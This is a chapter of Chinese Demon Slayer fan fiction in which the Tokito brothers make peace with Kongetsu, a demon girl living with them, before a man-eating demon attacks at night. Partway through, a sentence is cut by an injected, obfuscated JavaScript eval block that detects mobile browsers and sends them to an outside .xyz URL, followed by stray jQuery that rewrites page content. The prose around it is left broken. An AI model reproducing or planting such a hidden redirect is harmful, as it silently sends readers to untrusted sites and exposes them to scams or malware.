“哥哥,你就打算一直这样不理她?她这两天心情很低落。”
热闹的街道两旁传来小贩的招揽声,还有来往行人喧闹的交谈,交织着腾腾暑气,闷得人喘不过气来。
时透有一郎抿着唇一言不发,目光沉沉。
带上街的柴已经卖完了,该到了回家的时候,他的步伐却比平日里慢。
无一郎苦恼地抓了抓头发,歪着头,不明白兄长到底在闹什么别扭,明明他们兄弟两都说开和好了,但是哥哥和今月的关系还是那么僵硬。
“我没有不理她。”
有一郎闷声说道,“我只是……”
他只是不知道该说些什么,甚至他也不懂,这分明只是一件微不足道的小事,可是一面对她就总是忍不住去放大,好像有铺天盖地的委屈一样。
这很不正常,或许是他太小心眼了。
她已经道过歉,不是什么大事,他该顺着台阶走下来。
“只是什么?”
“没什么。”
…………
“我做了一个梦。”
娴雅秀丽的夫人用这句话起了个头,迎着今月诧异的目光缓缓道来。
出身神官一族的女子有一个别样的天赋,预知梦。
她在梦里看到了一些零碎的片段,梦到时透无一郎是鬼杀队未来的霞柱,所以她寻遍群山,频繁来访。
后来她梦到了今月,所以来见见她。
“我可是鬼,您就不怕我伤害您吗?”
“你不会。”
这位美丽的夫人坐姿端正,脊背挺得笔直,笃定般地摇了摇头。
今月有些惊讶,本以为她是来曲线救国让自己去劝兄弟两个加入鬼杀队,或者是来根除她这个隐患的。
没想到却听到这样的话。
“加茂小姐,你是个非常特殊的孩子。请多保重自身,我会为你祝祷。”
天音夫人似乎原本想说点别的什么的,最后又放弃了,只微微颔首,目光温和沉静,像一个温柔包容的母亲注视着自己心爱的孩子。
她很少被人用这样的目光看着,有些不自在,心底却又涌起一股暖意。
仿佛吹过盛夏的风,风里有着太阳的味道,干爽的,温柔的。
“多谢您,也祝您心想事成。”
等时透兄弟回到家,天音夫人已经离去多时。
“我们回来了。”
“欢迎回家。”
她坐在秋千椅上招手回应,无一郎放下手里的东西急匆匆地进屋喝水去了。
天气太热,他们两个都热得满身大汗,出门还没带水。
有一郎却没急着进屋,他走到凉亭里,在今月面前站定,垂下眼眸看她。
“我……”
“原谅我了吗?”
“没有生你的气,是我太小题大做了。”
他摇了摇头,语气平静,眼瞳却像是无底洞的深青色,他终于说服自己,强压下那些莫名奇妙的酸涩,以一个成熟的心态来处理这个事情。
“我知道,你是在生自己的气。”
听出了他的言不由衷,她仰着头,无奈地叹道。
“你总是这样,什么事情都自己承担,觉得应该要照顾弟弟,扛起家里的担子才行。”
“对我发脾气也没关系,一直憋在心里反而会让我担心。”
“还有害怕我被鬼杀队发现的缘故吧,对不起有一郎,这次是我太过分了。”
时透有一郎望着她那双明亮温暖的眼睛,嗓子里像是被什么堵住了一样,发不出一丝声音。
夏虫在傍晚的树林中歌唱,被烈日晒了一天的山林蒸腾出草木的清气,风自角落里旋起,将这些清苦的气味送进他的心底。
这一刻,他觉得自己仿佛置身于一个漫长的黑夜,天边终于有一束纤弱但有力的光,破开了层层乌云,照在他的身上。
她知道。
——她都知道。
那些在心里埋藏日久的愤怒、悔恨、痛苦和自厌因这一句话溃不成军,像是终于有了出口,大颗大颗地从他的眼眶中滚落,世界变得模糊不清。
他低下头,肩膀颤抖着捂住了脸,泪水却从指缝间不停地渗出来。
“你、你别哭呀。”
她顿时慌了神,唰的一下从秋千上站了起来,急的不知所措。
最终只能抱住他,用手顺着他的背轻拍着,像哄小孩子一样。
“算了,想哭就痛快哭一场吧。”
她无可奈何地安慰道,有温热潮湿的泪水落在她的颈间,让她也有点心酸。
直到有一郎停住了抽泣,她才放开他,帮他捋了捋耳边沾湿的碎发。
“你是不是长高了?”
她忽然惊觉原先才到她肩膀的人,现在已经只比她矮半个头了。
她那双澄澈透亮的眼瞳里倒映出自己的身影,他才后知后觉地意识到自己的狼狈模样,耳后泛起一抹薄红。
“天太热了,我去洗一下。”
他的背影简直像是落荒而逃。
夏夜里,屋子里闷得慌,晚饭都在凉亭里吃,今天是无一郎最喜欢的酱汁炖萝卜,配上一碗梅子饭和味增汤。
梅子还是前段时间从院里的那颗梅树上摘下来腌渍的,味道意外不错。
“说起来,你们两个的生日快到了,想要什么礼物?”
“太狡猾了姐姐,哪有直接问的。”
时透无一郎抱怨道,“这样收到礼物的惊喜就没有了。”
“话是这么说,但是真的很难想嘛,你们就没有什么想要的吗?”
她烦恼地捧着脸,歪着头,做出一副思考的模样。
无一郎也抱着胳膊学她的模样,脸朝着天边,望着星空发呆。
“嗯……”
“别想偷懒,这种事情你自己想。”
时透有一郎无语地斜了她一眼,又看了眼自己的弟弟,“无一郎,你少学她,小心变笨。”
?
“时、透、有、一、郎!你什么意思!”
一而再再而三的说她笨,是可忍孰不可忍。
今月气势汹汹地叉着腰,一下子站了起来。
“你站住!别跑!”
“傻子才不跑。”
“无一郎,快帮我按住他,我今天一定要挠得他满地求饶!”
“好哦!”
“无一郎你怎么——!哈哈哈哈哈哈……快放开我……好哈哈哈,不行……我喘不过气了……”
直到有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326199|183236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一郎求饶,她才大度地表示放过他,没想到等他缓过来后,兄弟两对上视线,竟然达成了共识,一致冲她袭来。
“哎哎!怎么回事,无一郎你竟然背刺我!”
“不准上屋顶,你作弊!”
“哥哥你走左边!”
三个人在院子里东奔西窜,鸡飞狗跳,等到月上中天才消停下来。这么笑闹一通,等到瘫在秋千椅上,谁都不想动弹。
深蓝的天空罩满了灰暗的薄云,云破处露出了点点星光,蛐蛐和不知名的夜虫在黑暗的草丛里不停的鸣叫。
为了散散屋子里的热气,晚上干脆开着门睡,伴着夜晚的凉风和蝉鸣,倒也睡得香甜。
直到半夜无一郎迷迷糊糊醒过来,掀开了身上的被子,他有些口渴,趴下床榻站在窗边,用木勺从水缸里舀了一瓢水喝。
惨白的月光从窗子和门口斜进来,他突然感受到一股令人毛骨悚然的气息,冷汗从他的额头渗了出来。
“什么嘛,只有三个小东西。”
一个身材健壮的人形生物不知何时进了门,在月光下他鼓胀的肌肉线条清晰可见,锋利的犬牙,还有一双像鸟类爪子的漆黑的手。
一眼就扫完了屋子里的情况,他准备先解决掉这个呆愣地站在旁边的小鬼。
他扬起爪子,朝着时透无一郎狠狠抓去。
“无一郎!”
从梦中惊醒的时透有一郎看到了这一幕,下意识冲了过去挡在弟弟面前。
比他更快的是今月飞起的一脚,直接将这个恶鬼踹到了门外。
“你们在屋子里躲好,把门关上,不要出来。”
“你小心!”“姐姐!”
匆匆留下一句话,来不及多说,她立刻跟了出去,顺手拿起了门边的斧头。
一来到院子里,就发现情况不对,恶鬼挨了她全力的一踢,也只是被踢出了一小段距离。
他甚至还站着,仅仅用脚撑在地上,倒滑出几米的痕迹就抵消了她的攻击。
“我就说怎么有股奇怪的味道,原来是和人混在一起的鬼。”
恶鬼缓缓站直了身体,朝着她走过来,他深吸了一口气,闭上眼睛,语气夸张地感叹。
“这个味道,你没有吃过人吧?”
“关你屁事。”今月冷下脸来。
“哦呵呵呵呵,脾气倒是挺硬,只可惜——”他举起手在空中拍两下以示赞赏,但表情却充满了恶意。
下一秒他的身影在原地消失不见。
月光被厚重的云层遮蔽,山林间只剩下几点微弱的星光,她握紧了斧头的木柄,指节因为用力而发白。
夜风拂过树梢,发出沙沙的响声,她的耳朵捕捉到了异样的声音,那不是风声,而是某种物体高速移动时划破空气的尖啸。
她猛地转身,斧头在黑暗中划过一道冷光。
劈空了。
腹部突然传来一阵剧痛,她整个人都飞了出去,重重撞在一旁凉亭的木头柱子上,木柱发出了不堪重负的断裂声,她咳出一口鲜血。
“太慢了!太慢了!”
那声音嘲弄道,鬼舔了舔指甲上的血迹,脸上露出不屑的傲慢。
“不吃人的鬼只会越来越虚弱,你拿什么和我打?”